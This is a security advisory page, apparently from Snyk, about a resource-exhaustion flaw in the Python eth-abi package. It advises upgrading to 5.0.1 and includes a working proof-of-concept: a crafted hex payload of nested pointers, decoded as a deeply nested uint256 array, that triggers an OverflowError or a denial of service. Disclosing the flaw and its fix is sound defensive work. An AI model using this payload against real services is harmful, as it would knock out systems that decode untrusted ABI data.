Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade eth-abi
to version 5.0.1 or higher.
eth-abi is an eth_abi: Python utilities for working with Ethereum ABI definitions, especially encoding and decoding
Affected versions of this package are vulnerable to Resource Exhaustion due to a recursive pointer issue. An attacker can cause a denial of service by sending a specially crafted payload that triggers an OverflowError
.
from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))